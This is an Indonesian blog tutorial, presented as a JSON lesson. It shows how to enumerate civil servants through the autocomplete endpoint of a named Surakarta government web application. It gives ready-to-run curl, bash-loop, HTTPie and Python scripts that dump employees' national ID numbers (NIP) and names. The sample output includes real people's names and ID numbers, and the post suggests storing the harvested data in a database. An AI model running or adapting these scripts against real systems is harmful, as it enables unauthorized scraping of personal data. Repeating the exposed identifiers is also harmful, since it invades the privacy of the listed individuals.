Intro

Json Statham

Json Statham berminat menjadi PNS, atau sekedar mencari pasangan hidup seorang PNS dengan tunjangan pensiun yang lebih baik dibandingkan profesi pemain film.

Itu adalah contoh kalimat clickbait yang sering ada di situs-situs berita. Tulisan singkat kali ini tidak ada hubungannya sama sekali dengan clickbait , namun akan membahas sedikit tentang JSON, yang merupakan singkatan dari JavaScript Object Notation. Untuk informasi lebih lengkap, bisa dibaca di situs json.org.

Disclaimer

Tulisan ini hanya untuk tujuan pembelajaran semata. Penulis tidak bertanggungjawab atas penggunaan maupun penyalahgunaan informasi yang terdapat pada tutorial ini. For educational purpose ONLY, Use at your own risk!

How To

Kali ini kita akan mempelajari beberapa cara berinteraksi dengan JSON. Berikut ini adalah contoh potongan kode di sebuah web yang memanfaatkan JQuery untuk melakukan rikues data dalam format JSON:

<script type="text/javascript">
$(document).ready(function() {

    $("#name").autocomplete({ //the recipient text field with id #username
        source: function(request, response) {
            var nama = $('#name').val();

            //alert(nama);
            $.ajax({
                url: "http://app.surakarta.go.id:81/SKM/index.php/login/cariPNS",
                dataType: "json",
                type: "GET",
                data: 'nama_cari=' + nama,
                success: function(data) {
                    if (data.response == 'true') {
                        response(data.message); // alert(nama);
                    }
                }
            });
        },
        minLength: 1,
        select: function(event, ui) {

            $('#name').val("" + ui.item.value + "");
            $('#email').val("" + ui.item.nama + "");
        },
    });
});</script>

Dari potongan kode di atas, bisa terlihat bahwa rikues dikirimkan menggunakan metode GET dengan parameter nama_cari berupa string yang berisi nama yang ingin dicari. Secara sederhana, potongan kode di atas fungsinya adalah sebagai fitur autocomplete pada form untuk mengisi nama user. Kita bisa memanfaatkan fitur tersebut untuk melakukan enumerasi user yang ada pada web tersebut. Ada banyak cara yang bisa ditempuh untuk mendapatkan hasil yang tidak jauh berbeda.

Menggunakan curl dan jq


Berikut ini adalah perintah yang dapat digunakan untuk mengirimkan rikues ke web tersebut:

% curl -s "http://app.surakarta.go.id:81/SKM/index.php/login/cariPNS?nama_cari=z" | jq

Hasil dari perintah di atas berupa respon JSON yang sudah diformat dengan baik:

{
  "response": "true",
  "message": [
    {
      "label": [
        "199309232015021001-FEBRI FAIZAL AKBAR"
      ],
      "value": "FEBRI FAIZAL AKBAR",
      "nama": "199309232015021001"
    },

    ...

    {
      "label": [
        "196311151993071001-MUZAINI"
      ],
      "value": "MUZAINI",
      "nama": "196311151993071001"
    }
  ]
}

Selanjutnya, kita dapat melakukan enumerasi secara otomatis menggunakan perintah di atas. Berikut ini adalah script bash untuk mengirimkan rikues berdasarkan abjad A sampai Z:

#!/usr/bin/bash

for c in {a..z}; do
    curl -s "http://app.surakarta.go.id:81/SKM/index.php/login/cariPNS?nama_cari=$c" | jq > "$c.json"
done

Menggunakan aitch-tee-tee-pie alias HTTPie


HTTPie ini adalah versi manusiawi dari cara manual menggunakan curl dan jq. HTTPie bisa diinstall menggunakan salah satu perintah berikut ini. Gunakan sesuai dengan sistem operasi yang Anda gunakan:

  • Debian, Ubuntu, dkk
$ apt-get install httpie
  • Fedora
$ dnf install httpie
  • CentOS, RHEL, dkk.
$ yum install httpie
  • Arch Linux
$ pacman -S httpie
  • Atau menggunakan PIP
$ pip install --upgrade pip setuptools
$ pip install --upgrade httpie

Selanjutnya, tinggal melakukan rikues seperti ini:

% http GET 'app.surakarta.go.id:81/SKM/index.php/login/cariPNS' 'nama_cari=a'

Hasil dari perintah di atas adalah seperti ini:

HTTP/1.1 200 OK
Connection: Keep-Alive
Content-Length: 5621
Content-Type: text/html; charset=UTF-8
Date: Tue, 12 Jun 2018 17:45:44 GMT
Keep-Alive: timeout=5, max=100
Server: Apache/2.4.17 (Win32) OpenSSL/1.0.2d PHP/5.6.23
Set-Cookie: ci_session=...; expires=... GMT; Max-Age=7200; path=/
X-Powered-By: PHP/5.6.23

{
    "message": [
        {
            "label": [
                "199309232015021001-FEBRI FAIZAL AKBAR"
            ],
            "nama": "199309232015021001",
            "value": "FEBRI FAIZAL AKBAR"
        },

        ...

        {
            "label": [
                "198909132011012010-AMANDA SANTIKA KURNIAWATI"
            ],
            "nama": "198909132011012010",
            "value": "AMANDA SANTIKA KURNIAWATI"
        },
        {
            "label": [
                "198908072014021001-MOCHAMAD AGUS HERMAWAN"
            ],
            "nama": "198908072014021001",
            "value": "MOCHAMAD AGUS HERMAWAN"
        }
    ],
    "response": "true"
}

Menggunakan Python3


Cara selanjutnya adalah menggunakan python 3 dan modul python request biar kekinian. Hal yang menarik adalah, modul python request sudah memiliki fitur internal berupa JSON decoder. Berikut ini adalah script python sederhana yang dapat digunakan untuk enumerasi:

#!/usr/bin/env python3
import requests
from sys import exit
from string import ascii_lowercase

for c in ascii_lowercase:
    try:
        d = requests.get('http://app.surakarta.go.id:81/SKM/index.php/login/cariPNS?nama_cari=' + c).json()
        if d['response'] == 'true':
            for u in d['message']:
                print('NIP : {}\nNama: {}\n'.format(u['nama'], u['value']))
    except:
        exit(1)

Script di atas jika dijalankan, maka akan menampilkan NIP dan Nama dalam format yang mudah untuk dibaca. Selanjutnya Anda bisa mengembangkan script di atas, misalnya untuk melakukan parsing dan menyimpan data yang diterima ke dalam database (sqlite, mysql, dll).

Sekian tutorial singkat kali ini, semoga bermanfaat. Terima kasih kepada Tuhan Yang Maha Esa dan Anda yang telah membaca tutorial ini.

Title-nya klik-bait banget :lol tapi keren sih artikelnya, cool bro!!

Thanks om. Itu idenya mas dex, wkwkwk